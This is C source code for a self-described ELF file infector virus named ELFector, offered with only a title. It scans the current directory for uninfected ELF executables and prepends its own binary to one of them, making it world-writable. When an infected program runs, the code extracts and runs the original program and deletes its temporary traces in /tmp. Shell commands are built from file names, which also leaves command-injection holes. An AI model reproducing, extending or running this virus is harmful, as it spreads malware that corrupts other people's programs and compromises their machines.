ELFector - A simple ELF file infector virus

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int is_file_infected (char filename[])
{
    char output[400];
    char command [400];
    snprintf(command, sizeof command, "%s%s%s", "strings ", filename, "| grep virus > /tmp/virussearch046.txt");
    char inf[] = "virus";
    FILE *finf;
    system(&command[0]);
    finf = fopen("/tmp/virussearch046.txt", "r");
    fgets(output,399,finf);
    return (strstr(output,inf) != NULL);
}

int is_file_elf(char filename[])
{
    char command[200];
    snprintf(command, sizeof command, "%s%s%s", "file ", filename, " > /tmp/elfsearch046.txt");
    char elf[] = "ELF";
    char output[200];
    FILE *file;
    system(&command[0]);
    file = fopen("/tmp/elfsearch046.txt", "r");
    fgets(output,199,file);
    return (strstr(output,elf) != NULL);
}

int main(int argc, char* argv[])
{
    FILE *fp;
    FILE *virus_file,*target_file,*current_file;
    char command[500];
    char filename[100];

    system("ls > /tmp/contents046.txt");
    fp = fopen("/tmp/contents046.txt", "r");
    while (!feof(fp))
    {
        fgets(filename,300,fp);
        filename[strlen(filename)-1]='\0';
        if(is_file_elf(filename))
        {
           if (is_file_infected(filename) == 0)
            {
                snprintf(command, sizeof command, "%s%s%s%s%s%s", "cat virus ", filename, " > /tmp/infect046.tmp;mv /tmp/infect046.tmp ", filename, ";chmod 777 ", filename);
                system(&command[0]);
                break;
            }

        }
    }
    if(strcmp(argv[0],"virus") == 0 || strcmp(argv[0] , "./virus") == 0)
    {
        char delete_command[] = "find /tmp -name '*046*' -delete";
        system(&delete_command[0]);
        exit(0);
    }
    else
    {
        char ch;int i;
        virus_file = fopen("virus", "r");
        fseek(virus_file,0,SEEK_END);
        int end = ftell(virus_file);
        fclose(virus_file);
        current_file = fopen(argv[0],"r");
        target_file = fopen("/tmp/target046","w");
        fseek(current_file, end, SEEK_SET);
        while (!feof(current_file))
        {
            ch = fgetc(current_file);
            fputc(ch, target_file);
        }
        fclose(current_file);
        fclose(target_file);
        system("chmod 777 /tmp/target046");
        if(argc==1)
        {
            system("/tmp/target046");
        }
        else
        {
            char original_functionality[200] = "/tmp/target046 ";
            for (i=2; i<=argc; i++)
            {
                if(i == argc)
                    strcat(original_functionality, argv[i-1]);
                else
                    {
                        strcat(original_functionality, argv[i-1]);
                        strcat(original_functionality, " ");
                    }
            }
            system(&original_functionality[0]);
        }
    }
    printf("My name is ELFector and thank you for running me!\n");
    char delete_command[] = "find /tmp -name '*046*' -delete";
    system(&delete_command[0]);
    return 0;
}